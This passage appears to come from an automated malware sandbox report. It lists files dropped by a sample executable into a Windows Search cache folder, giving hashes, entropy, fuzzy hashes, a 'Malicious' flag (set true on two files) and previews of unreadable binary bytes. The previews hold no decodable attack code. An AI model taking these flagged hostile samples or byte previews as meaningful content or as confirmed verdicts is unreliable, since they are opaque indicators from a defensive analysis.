Preview:	(funcX...._2........cN.W...6....;n.M..zp.V...h.....:Wt>]=#./.X..+7Zt....BvE]._j.4.=E..(..Y`..O..[Z.gFY..nL.u..>...)M.g..dl.?a......f.B...B....,..../.X...;m.'............VH..>..E6/..+.z..4..a.G..).].&g.H0+Af.r......R...~Oc..qM... ..o$'.....2..2.\|.....:..q.O..r...>^`h Sn...7&p..6&....9 .-.\|6.....N.J):.zg8.G0 _+.......'.Y.f..aG.g.D"q...J...(..k...e@.....v.....%\|&.mw.M..eq...k..."O...W.....6O.<@fDf..0.E..7J.4..2.`a.....7wT...h.@..&k./..........i1.d?e.R.m..i..{.4?.7%/4...J.YL.f.b..Bg..z..m...`02..8....U....M...nq.=\|....%..=v.J.v..MG....K. @.q..[...!...z..I7...y...I.s..[.F....sp}....v..........E.t.\9E......1.......K..5...3..s...K;..J....ZY.=...j...R.).{...m...i,...H....\|P.Z.qL.8...n.Z&....U......b....h.-(N..mVWut..Dq..pP..a...'/..s........D^......b7.E.N%..PG.&..d.l.g\.U.%....5....7w....1....C.S..49......L...E..%.5\|....g......h.w...}.I.P.T......[.b.;....(..f.5I..y.K..g]..oK...MR.....w.7`......."w...c.....;.b..T`.U.`B..q..E........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\5fBhIWX2NfxoiM-aOLeKJczoLSY.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	234417
Entropy (8bit):	7.613732037019437
Encrypted:	false
SSDEEP:	6144:5558YasIY9S1bgQ69mjHVmXYvaJkognkW6MUHwaXl+0SEDtMLoc6jxETS:n5J0YM1bH68jHVOdJkognkW6MUHwaXlt
MD5:	9B545D3FA2C3913D51BE2842B6237006
SHA1:	980960F65566A1DA62B41772FCA8FDE9DE0D4AFD
SHA-256:	E5B3A3D0B0829226E214C3D57DF035C1343A4A3FFC895C40E38994211C0A5C55
SHA-512:	B4DAD851F6866276213CF491A7295EE3D387501D939BAAB4347D7F0DE45BC5B6EC30289567D4F733A6171EEF54D1E66FA716D5CA63F8CC6C17AB1EBA85B4ECE9
Malicious:	false
Preview:	var W...].......!.V3....o...E=^.......f.5.a......b.......6...<..o..f.~.<..+..V..V.2,Z....yNym'...."Vq9..T.1+..S....'...m#..w.{. ...s....6.b...y...G.._....]...Q.....\|;...,.C.F.....h.go..t..a0.+=.3.G.^:'..O.....%.[.O.n7....r'F~3 -.D7D6R.V.I..C.F.u...`[y.P.OV.#7......"....7...)F.9..a.4.(>t.8F.....\.p......nl.&.....I...\u.....f.4.N\3.."......l...JS.n;).$.I........=8g....R!#....7...F...\|...3..}....F.}.f..W.`&`..7.7...ROV...7-......(.......y......3ng...... ......hVj.....P..i..D...O.6f..Na.n\|....h....v....U.......O....$./...S..rZE..^#s.8...h.r..U.....t..Bq6.x...<.)...+...x.D~AKJ,..e.b.#...Jq@..g..26..oym>.U....d....%CX\|w..M.cX.vp........z...." /<.WU.T.(~........~...V..Z.^..p.....t..?.&.>t......7..g.h.E..sXN.@..e... .(.....B.......B...N.....m..$..y.Y...qs.P4P.s.0.h!\|<RB\.%7&..q.A..U.....gsOn..[.{......^...>H..z........"J.......l...L.....u.m..T4.h.>.J]w..X..RW....#..1E.?......+P?.~..n.G.w.'j..`.7...3F..j1_R.GU]...v.L.D.`...W...[....T/\...4n...).

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\7keH62cNTOqo8SU4xXMfYfcmvcI.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2436
Entropy (8bit):	7.9110021823030525
Encrypted:	false
SSDEEP:	48:JCxYnXrbsNiGCALeTdY2mWLkj5BLWXo/8+eod5XaCBFyD:JvnsiTsTjDLhx5XFra
MD5:	E2EAFAC21B0C599E921A96CF5C832E8E
SHA1:	E1CF6A132D85B4654620A2AA133CA869C017D013
SHA-256:	5A522363DA8D01DA1BA1EFEC5738BFCF99C26DDE82E5E00D5F7A5A0CEAE840F2
SHA-512:	B229C3651EA214FB03DEA0A33D93512F6309F561CAC75DC26ACFD1DC4ADCA646EE4F93C3E6EED11F0F9B6598BCAC89D748F70C5F50581C0A44B1228CD933C11A
Malicious:	false
Preview:	var Wg..B..5.....`.k..~V.......l..\|...T /.."....Y....4...lU&BPy.....<.:.v..R.....P8.w.46{..R9o...l.{..B.....zDM..i.b.Q...u...$Yz..ME..-GZ:.,!..H...)............%H.{....."..@.b..J..D\CY.i\.p..K;R_.U.q\|D.Kk"..!...JH..<+......MZ.....\.....U.F9..... ..4....E......37?..@.u..(......q.7.N.K.a].\.....N....f.F.!,P...lu.....f...a..E.:.v....L$.P.......x..=]OL-.N=..'0....sQ3...v...>..R........d.gHf..._u..ki..'T....56.`nYT.\.#.{...w1...k..2j..kYB/K./.......x.;Ug...f.HBEkB..r..(b....#..V;...C0.u7.;.........UXu..5j.y..........8..&.O..Q.d...-~z2...A\|.......D.......yG..:..r...\..z.8...p....7H0./.D~.o.@h..tY...........su+L7..O....,.....c.3?..0.$W.]...2......z..-.2..C..(z\I{E.Mm....&j:m....{.4.c.....m.._q..6.d..t.....h`....U..t0............U.(.t.o..[#....,..sm.y..3..YgY]i#...Q..7.C.@(Fv..i......1..Px.H].....I..b.t..9....0...%EP<js..y!.c.0..sUC...J.=.D....V,g..-.."{......3.8....k.-...Z.?.}s...2.....5..Ip<b..8..$....g..U}...O.....f.Y.E...C..".5

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\8yOt-qMgl3wFFpnXBbdaeUrdWpM[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	16301
Entropy (8bit):	7.988934119823628
Encrypted:	false
SSDEEP:	384:0scBCtf+lZacFOX5VLkYuXxdKS1rO173K40fLINdWorFgibc2KUiQ:oBAf+lZ2X5KYuBYShWaRLQdZrbc2KUiQ
MD5:	22A2162E28ADD567206597352FE87D12
SHA1:	FE4D8820EE4B92EE2F2609AD900DC34FD193FFDD
SHA-256:	2010C1916C4A42A642660216C068CAF21F516E5ABD96791D7F71C95ECC4CC4A1
SHA-512:	0F0F3F37DD399DAF6A7AF61CB27E8C74565F61A2E829C3830AAAA55562172E5E9193FFC5E35FAA70C50A430EDDFCFBCB2A5FDCAFF7BC73FEFC718E39A175214A
Malicious:	false
Preview:	html{,A.~..$!..$=t.5....M[@.T.d.0.t..O.....T..4q...H.EZq1.Y.w.......0....6>...4...2.o@.-Mwnjgf[2I...........Vr..........j~.0......L.Q...03?M....q.!...p.0.6.o.(.5..38.(wsz...&f..(.....].rR%..R7.t%.=...W..S.....@ .-..B..-h.....G..@...@.Va..2k...'.\....i7/u......N.X....^.\|.....j.F.d!%......8.....2/................`...8...=r.KbE..k.:..L}....d......L.Fd..4wE.\...5...d..2(.....s..uW....%zx.....,}...,N\|5E..".....D...d.M .U`...,C..^.a.hw.eUz....!..it.$^\"..]d...x..#0.....4.0...n.;a...l..z$MQ,..=;.UN.jU.[}..3.o.\|...v....LM.Q.............z7...U.h..1.K.......'.C....VV.f&..jB...H.h...2.b.....4.:..!.HJ.a.#.:.P.....X..>...l..........{GP1.#....s..B:u)&.G.....fz..W.../.HOK..>.a..E.z...BQ{Q.s......U...-..R.xo..M].qJ@,...4..P..R....`0\|..t8....%...1....Wa.,5.G.J;......K..P.=^.ZZt.....H+....I./.......5A.PA._&.3m..3'G>\s[.._.lo....gb.l.~N.s._......a.r...%M.9.i.*f...6i..`y..L.....k..\|..\...5..[,..7.9..H..\....e..}.U...X..H... .%.?.:.w].........M}B.yB....d...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\9NAKqY_tlD66IpqKerRN4qs4P0c.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2444
Entropy (8bit):	7.918623122167725
Encrypted:	false
SSDEEP:	48:x1qqLRFP5QqsZb9pgSx0EiIENRnwSYH2nTHeWi+953Dwsh1Jv3sGB9yD:x1RL3P5QqHu0EiIENBves95zwkxsQ9a
MD5:	B5F7D83A261F98D790429E829AB61C3D
SHA1:	156F05C82703701F646B807EE820FF7339D81787
SHA-256:	E93A28BA9B3203CBED2A4424DE8209EDFC98EF03AA08448036626F08B671A74E
SHA-512:	D7F68F98FEAE4405F5D8085A045327FBA76E94EA01CF459F83899E63101F3FAB59155F2FDCC1EB1E88E803AD090FFCEF6E10F68E05862FC34987A4D7FDF477A2
Malicious:	false
Preview:	var WD.'3n.~...Q..<.Me.2.v.4ab+......4F9M...b..c.........#C.....d...k]..:....=z~.._.w..X...e...%........I?....wwM...B..2.o.....]8..P....._...@Nz..f. 4!...t26.dC.Cq_.Z.,-.....Px..\|.,.+.F.. ..%..I..1Zw..R$..N&zu...'....o.T..;....r.....8.r.,gE.#Xy..X...6..<.18j...(T.n...@.....$.......?..:(H.....z..B8....A.O.U..'..nH.t.....[J...R.i....qRq;..d...A.\..E.....h-..zB.zP.[..O.V....p.<..`.M.OA.I#..x.4m.n..K..uR\.w=.V..~.2.F...\.<q..pm9.L.>\|...Q..9.........IH....0.[..B..Y.cgR...u...W.K...{..q7...B.i...z.o..q...<.......:.s!..\'/..rEh.9.c..U.g[.Q].....xS3!/3..;..T.........z..q..Xx.@..y.......#.s.'.m\|....A.9h.....b...!...b...;...n2.....x...,...KY......V..D.7.M.>6l>..R..6.%..k...+...B.....g...'h.i.S l......0.G....L.....?T...>F.D..7!.+)m..Nf.q...g...y.r.=+BT69........Kg...z...R...G..Z..Iz.f.=.........P..1^...w.kn7....{tQ?....e......-..v`\ [p.3Ok.....F..k.}S...S}\..o......[3}Z..........GG+Z.._...J....G: ....6(......t+\|..7.E./..98...g.X.w..r^.M.N.E..W.2e...ba

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\9eNI3ykoxUBcfNRgDJaF-g0a_0c[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	9567
Entropy (8bit):	7.980500789025276
Encrypted:	false
SSDEEP:	192:+/NQmIB/yQM5oq8bhcfO4+1GbPqOVctwkjLNgPx+AvKSKAdcHczKWKFfg:YSmJN5UhcfGw7WvL2+CKZNHPWi4
MD5:	06BB4FB1AA2D0A1F126D6AAF8D377C8E
SHA1:	95DCE4FA7E5F5CB1286B61E12B08EE1A7C45EDB9
SHA-256:	ACDB37A169878D1986FAA8325672A2FB88D2FEE9509011A7A4888943911F414F
SHA-512:	807EE006F9B0B73532FB19A8315CA8E9DAC99E64E524E48824E2198A16246B7C4548A5AF332BB4540012A9587098C83DA4C0AA9194DDA1E3596306D30D398497
Malicious:	false
Preview:	body rg.el.5.h.{...0S..........\|!..;.........H..}....lF......#.6OE.W.~.G....T...]&...#ox_.8Rg`..JWO.S1....=.B...VG..R!..+.K.r:.(.-.X..0a..Z!.l..C}...6....zkJ....y....R....=.D.T.xK-=..........if.....u..,.B..J3!!..C;...s...t..y......;:.,.....0V..........Dy........>(kk......X.7..'>.6...b.lb.....Lc.K...h..10.N..M..,l!.G........K...l..sU.{N..B...y.....y..D....5...M.-.7L......@.3D..&.W.]..E...&#........V.d.L.9........1...?...0.`..2nV..Kt...J>.C....G..c..x@k....v....^..X..~..a"..n....p0...._.X.3E.../.T....a..x...... ....cm....(.p.0!.j]..\|'P..c....2.I\.b..........Z....f. J..&."J[c....$..K.`...C....l.......(.U....B%..@5.......(7b.+F.tG..9R~B..s..2b....>.]f.>.b.S......d...L.L............6.;..`5jTB..K_F5.]Jq....+....A. ...'`J#....WP.].b...Y..!M....P...4<............2H.bA.-..Ql.g.a.o..r...a...Q.J...8..vRJ....B...rI.t..s..U).O....v.'.\.>.Q#..o."...Q).....f..1o.,r:>6._.%YT..bl.....{vj.....s.STu\.\..\|7.Z.......y...O..B.@.fT.."2T...;ZQ.N

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\D_0mE1U1YmZvpLaz5wDHB6P-DAI.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	192924
Entropy (8bit):	7.861024786980212
Encrypted:	false
SSDEEP:	3072:mUNs4/OyS0Q9tk6zm4AzmD9GWGRXtOSNdgNSXavnG+GPg5ePn3G6fRcTsU2AtDz+:zNs4bEzo49GWwdnNdgNrfGTqeP3XFUh0
MD5:	9C879887315634A4EB389322EB3DB9E6
SHA1:	027D4B434CF7356F8AD8A65F9B7D25CFC28DA4FD
SHA-256:	2F4EBA7A59C79D288DD905C991D0538D9996E7A61F9F73F1757BC254452F337E
SHA-512:	FDEFBA3BB66F562B8CF01AFDAA64FC22D8099244E38DCBCA66C0AF12A225E1DA26A84A60A775D20552027E0D1561190434BD451468982D9B73EB6090687DDE0B
Malicious:	false
Preview:	var W.?......UKrQ..5...m.C.z.x.r.........&.E.....,.q).....Y.%......[>.r.W...c~.L/.nb;.%...7<.......x.F....n0I).#.]Fh\|v7!...q..i.+A.J..a.s..2-9..k..x.g.6.{P6.r.:SO.SIf....!E.$ ...ZY..%...b.../.(..5.."(.....a..e...1....7.cO"5.-_WL.n...p.........R.{..@C...].....2t.j..q..W...:#.Z....C....<=..Vr.1.]d=.K.!~...b.)}.]...4..Z.Es])K{.mgb.0P...........t.5...Ve.M(..].~z.C..->...pQEz..i9..E.......:].(W=6#3.\1..t.....q)..!O...8A7...Ch..O.Z...A.Y&.!........2..z..J...f.g..B...P.(.5.TX^...m....^.sz."..oD.?....4.`>...l...Q.G..o.L4...Z5.p......g.@.....(.@..rg(8..v..!.p._.........&...k..p@j.q......(bI.n>._.x..?}l.7*.-...(....K...%!.S.U..?/...]..-.,t....bQ?.9cS..'..t-N......K....eRl.j3...6.Qey......].;.."..\....!^l....v.E..............\..........d_$...8p...aQ.~.tKX`.W.$Ld[\|...a....:.F.(.._$... .hD..Xl..:..B.....e./..... .A.P}6$I....N.....0..B.Ti.t..Au.g.h'.{e..Q....5......4Kj..,O..k.`.R.....%.{.q..?.wA.O.........[....K?y....X...k`..!.A.....O.....`hZ.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\DccpWCpoNzCwM4Qymi_Ji67Ilso.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	131722
Entropy (8bit):	7.998672459191366
Encrypted:	true
SSDEEP:	3072:Bpc67dNPxMsUZ/z0R3uR454ffwEt4gvVbWS1Wdj51dzzYzyW:LcsdhxMscYRE4JEegNWyWx5HzYzn
MD5:	B3FC044E3367CC676D0477710DA65916
SHA1:	D9CA999029C6ED80CA8DAD0AE2CDE570188389AD
SHA-256:	B7D4F7A80FA3F5946A68F40E9A9FD3875F6474F7917AFEDABE983FB689B1D99C
SHA-512:	C9D61D4FA3DE623389EC7A913460956C9D2661ADE2EEDD87D11189AE4E13A5902501BDFE45262B2FD4555CDFEF868879C2187C38AB3F58BA5AC0197012100A4E
Malicious:	true
Preview:	/** @7 e..E...Ar=..".7-i...T...\.2.....MI...f.4.R....w.O.g..s.....2J..Z..)....k.JJ.....x..vD$..o#...z...A7Q.G.x..a...+^...dc,.....~...g...Z..._....G...=.....ko..4..Z...s.pF...`;.,\....9..9.dH'..L....C.4U6.XC...6.fT.-...3:'.`I.3.P].&.......T.h..+.D.T8'. 0.......E\...r.4....L:y^,.r{"..>....3.@6k..r.b[...T..Y\$...J.<........6..5.\|.)...5....... ..f.........v..9(.2$..d...;.?.d......s.>.....'.6... .D.y..Wu....B.<.....z.....f.T.....VhD....W.E)...-+e.0..q..Oy;..........ZZ......i.1..Hw/..L".z/..S..4k...............`%Q=?h.&.P..x\.d.!...}.8m....4.l.(.....?..Kl...R.f.#....I. .N.2.l...........i...lN.2b.).....9D......>'M...\...]04.-xb...?.5.....=BM..=/O.y.y.X.@..!' _....<......H.=..).}..E...:.L'.o.'k..N.Y.:..K....[<...0..d..;...>..p8c.t7S.n...(.P.m...r..5.Y....x..A?W....t..&s.Els.]omU...9.0sW.>..n...{.....f..p.....%*..f./.V....K&.46(......#h.N.5..T..P....\|...yI5.lR..u...x..I........~X!......".V.V.C:.....G...T...)4...........o{.e.W..d..+..ch,....J...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\EJz06avERkAqfuwcXY6H5w8dtNc[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	428901
Entropy (8bit):	7.028744880820408
Encrypted:	false
SSDEEP:	12288:SW8xaGGZjgwVXHd9V9EeLp00HlmZoYh0yh881W:t8xaRhXHd9V9EeLp0WlmZoYh0yh881W
MD5:	64A60717B8A4D089FBD6D2B1EC61A0EE
SHA1:	AFD011B4A42602542D782E20EB4CBCB6C0DF26FB
SHA-256:	16C0DB22934ADDF31BF364B17C2A6A12B7FB3D6B3EB9A8E53D814DB27F0299F2
SHA-512:	F879B8D302804CE0304589EFD6F51940963D778525D22967ADFCFF6AEA687F3540FC85B937BB65C9D12EC9C77AE950BAF1F4CD7835C39342D48BBA43A5E0A70A
Malicious:	false
Preview:	.scop..k.P..`......?...8.f.Gd.!..d..M.ly.R.?[V..C..+.b......JM/F.tRY..,-A.` qe.f..~...r...v....&....b..}$].T@...:..Y.KJ..........Suv..T/..a"..@.Xw.....f....rP.+.."..B.....UN....x?.....d....i...z{..#.<..?PG\|...m#...#e.4....~.i.u<+.........\|J...;;7=p..t.F..T..8....?2...\?...{.<O..Sb..%$............_..[h.].g8..5............V.x...LD.....%.).....J.Z......%....Hp.=...s.,r..Aya....I........6m...[..0e...$.g...C..VM..(......{u.OdH.K...Pypp..v.Sd...`).h.....w`....(Cy..'..,.).Q.]\.}....M......Vh...@.GR.G.C?%.A...?...HgL...=w'.]e.....S/.d.....&......D..F..H.x.w....6.Y..o%F../ ....6.r...)Bz.jH.........(.......>...xe+.tGN.v..?.D..a...G...L.V .u.B1h.A_...Y..h...j'U...j.;S..vO..Q\|Q`50.V}.-..x.J......).K[~....kgK.~O....,."p)U...#..Z.]ci=`F..E1.y..L.Yg}DY......1S.9.JW....k..j."...!..wg.%..8.....#......p.....\..+.v.N. ...).3.H..aGl......F.^g..{BdN....).>gE.4....V.L..._....K...k.A"......#K..k;....!.M...v..B....@W.}....h....'G.{.....fF.b....._..#..`.d.}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	17832
Entropy (8bit):	7.988298655526076
Encrypted:	false
SSDEEP:	384:K+isTVieZKhm2GonPTyOT/9n7dy87S/sqwUf79:K+isTViOsPTzTl7w8Rqwo79
MD5:	EA27FFFFE6B9308CC75C3BE60BA0C012
SHA1:	029516B3B0BDD2CBFD05F0F2F52330D70C381D5F
SHA-256:	44ED91E11572B5909191E77ADE6A4CB31121F863AA95B805DC440F85FF3C72EB
SHA-512:	8A309137E485A7180F359BBC99D654EEBDA2D6ED3E63A5A00DD03D92AA165BB810FD0082481FAD60524AE365A49CFEBFEC62FA2DC9470467E388FF64D7CAB2AD
Malicious:	false
Preview:	!func.a...7.....{..s..4.u.f\|jJ.j.....-5 ...HQo.N.P.3.4..L{s....C...;........=.5._.-.....9..@W.......0.3..3.c..`\r..d._..m.h..z..._...v.".v`..e.../...Q........9(....8..9..4..D&..o[J\........rS$..-\U...b...4.k...v...}3.;.6....?c`......C^#..mI...6e.q;..e.l.4,2...}...(.8X....r.0..:...Y'.8..U.IX..F9.,C.E.../r...:. .U.q..1.y..r2E...1..)y.z..O...>.5<.S....[....J....{B.%P..Zl..Zc.#.......\|....}.....r)9..o.P.:..[..D@..jyd^e...M.'r@l.......?4..n.v;....+.&...K.vc_......G`t\|;.+1............8...k.L9.Q=....M.M...)J..@....J.....+D.U.o...h....0\.Y...]a.wK.F.>^...?.....Z...........l...w....0\..4?..2f.ON]3.E....fZ.....rB...{)[ MC:.S.s...\...LSd1p..l.f...Xa)...xJK^%.....tm\..^I$..W...f....R..D....b\.l\|6.=.N.D[.....2.o(..4Z..RV..aC.S.M\|..u...~N..pI2..l....A5...w`.....r.tL.!.^.?.r! y).l._.O.^.O..8.1.R1y..fz.K...a.Z<..9..A,3.M..^...!g.E8Z....%..s.u.....~..V]...AE..z~."P.t.......k.....-_H.....&7..p[.1.......,..8..w....6e\.}..B......wa[......\|3......T...uO....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.725265232762194
Encrypted:	false
SSDEEP:	12:wJOya6wT3ljeTU7qEljokABn/Ocvf8GSN2fbCbRW8RUo8s1QA6Mssoqw1cii9a:zya6wTVqTUikAd/Bvk0zClso/1Vw1bD
MD5:	A06BE1836A2C3AA94EF613DC9D1C6412
SHA1:	FF55F0E9F4A18037BAE43D7878DBE68CEADCB737
SHA-256:	05B3FAA43580650C99B8DC31B4A8DECF4513E180B8EA867685B01B4CB2DAD199
SHA-512:	7216197BB42ADC5B57C273EABCDA7F68E9E1BDCA42FC9B7A3A09B02BE7DE025BB4DB81B3D476CACCDD27565F8EF1A4F1E6112F92B80D723E6153BB2F46B506BC
Malicious:	false
Preview:	var WHp.Xx.]..t..I]..8.N........9..}..4...!.hZ4.A..p_e...dX..=.ti.C.F.).uv.C......e...O.S..V..Vzl-.....846.../\|...`>.u...\..v.q.<....o...Oe..!......SL....I..O..qH...V[....o(fa#...Tm.0.[.ML....X5..51..0....L.....l...0`..q.'.C`.WM..0.Y.E!.o.....K.....oc.L`....."...V.s.o._Fe..............ca.:ux/8.d.(..-rC-.TaObC.S.T.t.R..1..f.v. ii...>...............s..5.o.C$0[..Koy....g..6....j.9+::....<>n.9zm...9....45m.HB.g..D....W+."...q.B....Q..^?.T.g..+g..B..:y.G9K~...F.S..r,,.,..Q..4....<p.....e.q.Yh.[...8..Fg.*a$..i.......[`...:O{..y.......4.3.$BZ.b.TWK.\.Mc}.,..`..:=8,.;y.T..>..{..s..a..Y.ghw.7..X.^....Zy\..?J...kJ...9....L....;.,.v=...>p...(4.....H1..Y.P.z...I...Ca.....k.%{>...G(."....$P..."t...............tTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\Init[1].htm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	113573
Entropy (8bit):	7.998315627395449
Encrypted:	true
SSDEEP:	3072:GWp8JeGuuht64VCVlrBlEB3nw7ILIg3BtNh:GuuUNCCVFBy3AaIgr
MD5:	6957910F33FAA2816BA28524D489EEE1
SHA1:	89145529F481659D4FD89F158488C8C121BDCF73
SHA-256:	4877EA679FE760B96BE61FCC6BDA5E990ADF512DCA2BE18227E30CEEE4F33BE3
SHA-512:	8E5CEDA9FBB8165C4E7C58224326F2DFA7634541B3669C8BBAC6BE28347C9BFC9D994B16523DAC0387E89FA988FE68DAB4A0716AE5C91224A19B3DE1B8C537EC
Malicious:	true
Preview:	<!DOC..7.%....B..D....!..x.e_...{............k..w7.{it:E....cf.....&......Mf.?....)Y...%k?.W.....'...m,R...(..>.".<.%..u#..b..7.5..Lx....Tg$...[...f....a2.I.d1w!.56.......'G#.".B.3.Jt@Ok.....p.....X..j)9...#..;...=o..4.>6...!.E..H=b.+....E..G.O..6......G0....}..+./......$x.'..q.0P..)h-Y.\|8vD..,..(...u.J...\.{=...Z._.2i...aM......0.....D..f..+.0^.^..S.R.B.\.\...Or..>..Nd6..Y.......Z..$`k..X.8... o$Cz}.Q....3..,..+!\..(..Cg].z..OM......9..a,c.@....W.j?[..[..Su..a...y%>L..9..8.......>..`.Y....f.=Q...P....'..Q.a.U=.....*..k.#.........G...r.v.D3.....Hk@...m#.H.'..).3..d..T.X....3....=...K...Z.D.3`2.(....y. ...s..B&.....Sc.]..K...5...&a.o.k.%x.A',=w..%...W...$.....s.R\..F.r.&..^.%?b\.K......z...`..(.S...U..~...v..V..C.z.....v=[.w.55Y...O....u.W&.Z....%\..r.[..$.bNN...3!.P..wA\|\|.....{.>..^^..2..}......{M.z..~P./...`.......+..h(6...&.h.7.e....A.. .E.>5.1u..R....o/..p.=.....VJI\...K0.8..7..W.^.v..#..p../.)Z<".;@.....e.G.hl.E.#h.O...y..aV...#

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\KF9j9oJUfaaKiX-84yf0U337ge8.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1749961
Entropy (8bit):	6.574620457713278
Encrypted:	false
SSDEEP:	49152:w+lSUX/CjrjYz6J9dDpwBcOTvz2EsoTE+rQU03GQt:wdDuBcGjY
MD5:	AA8A7CE2E337AD2FD461B120125E7B8B
SHA1:	E88FDD75BF70C49C28840CFD2490086374FB3A46
SHA-256:	6F35DA5200BF3CBD648A5AC66C9FCE54AA99931EB4C5B520B9A091CC0A94DDED
SHA-512:	AC6D0D77347028CBC91BB1ABC15EA7B12C57575950046D93FEF410966434F5C3B87FA59EE91D49275212383D136005EF4B6D98D076AAE2FAE0CDDE0ADE3A6253
Malicious:	false
Preview:	(func.)#w.>....f6K....u]......L@.q..2l4..........@..oIS......v.uzE\|[S...t.as.s..WdO..:.@........[C..#.4.75>.#....^-n.......+..o..?.....X.?&-......a...%iU...'U...>....9..{1.wX....2!...H.93...K...q.N..>..$......^..w".S2ld<..`.V.#.s].../...lSP.3..$.[.'.....N.....\...h.6.Q..(p.`..O..}......O....H8..C6... .N..sB.7/.....R..(..LMjt[.,PaE.}c.F...o2.W..........j.ij.T...~.i.w..I...H:$..^.i&......t.;.q..qzLM.j.Y.g..Y.U..\..........L.P...B..b..t.[37....T..7_.&..x...L>Z.V^b.S. t..<>c..o8~.i.h..8.x.t'..1.<.Ni8.V....r.\^..sp}H.....Z...>..ix.....-...W/....Y...V"...oAFX...d.).\../x....2.#`.J..CS.?.of.y.,.c..{..S..;.K@....?..\*h".=."..$...-A/...N+YT~...........0{.A.....W.@.\|...a........9.....B..,XS.a....B s..".....{..#.>../..Z..&..$%.l%.Kg......A....X...!.)...F.a..8.wW.).......5....Fhn.~Z.....z...m..B....8.G......\..t_...3.+V..'...Q...8...\...v.^..#Z.hy..v.....`........4.\|`.(.A..B7.K.$...R.....).K.8.b..>...G...}..6.].....:Z...\.y..h,.}r..3..".

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	467497
Entropy (8bit):	6.282983118337755
Encrypted:	false
SSDEEP:	3072:SUvn3tkfshEeoZ5enmaQubWDZuGi70/HSL0yc974+DliU:R3tv+/MmajbW0K/KCiU
MD5:	BD168CDF58EC65C34E27225269B71D69
SHA1:	1CED23618C12B60D8001DC2CB5946494239327DF
SHA-256:	43B5B42D0E0F1CC260D7ECAC880AE31FCBF7B9CEA325E6B056B86B2840937D79
SHA-512:	5F2D99289CD086952DC792CD8881360022DA9BB5A81ABB0AAA7F3B67AB07961AEBB8C70309B4FEFADCB7CD921AC73E259EA06E2B58494CA2AD9E34C45F7F43A1
Malicious:	false
Preview:	var W...]....4@W.+O.T...\....s...ksz9.\.t...7 ....Nj...Yb...\|..:...f.py...h=._... .R<".\..N....E$j....R..C..._.z.s..1.x ....M....%,mn..(.P.,w......gF...Q...d.....dH@..J.O....t$....[C...OI..o.%.....#..j....yB...)...gV....5.Hu."..=.@.........}..\.RKY\|.....Ym"...D..X.....n.c~{_^......Tf.6m..Jw#_t.3....9...b.Z.i...(>...".......,....g.B?.[c`."......on..f.l.....o1V.Qx.....\o...r..,..Y.`~.[....L.".....%B...t..S....D...m..M.....L9"..f!......[P...qU...J?.2.._...........J.xEX...c.7o([..4e._..S.....%"C....UJy...q.\...&.{..5F..E^....."lN..(d!.4.%..=...s4aIQ,...t.......m.&^4#./<....3.p.C.LC..G.5.~..x6..G..C.....W....e..+T..4..u\|.v.~.J#..ab..eZ$...;.`.......fq..S..04W.r?..P.+..8`...i..?.j.......O.....T.+.......A3T..V2.c.@.g.........y..._s2.a...y.......Nh..+XOE;*.C6......F.b.yE@...3GFly.../.\.^b..e..,... 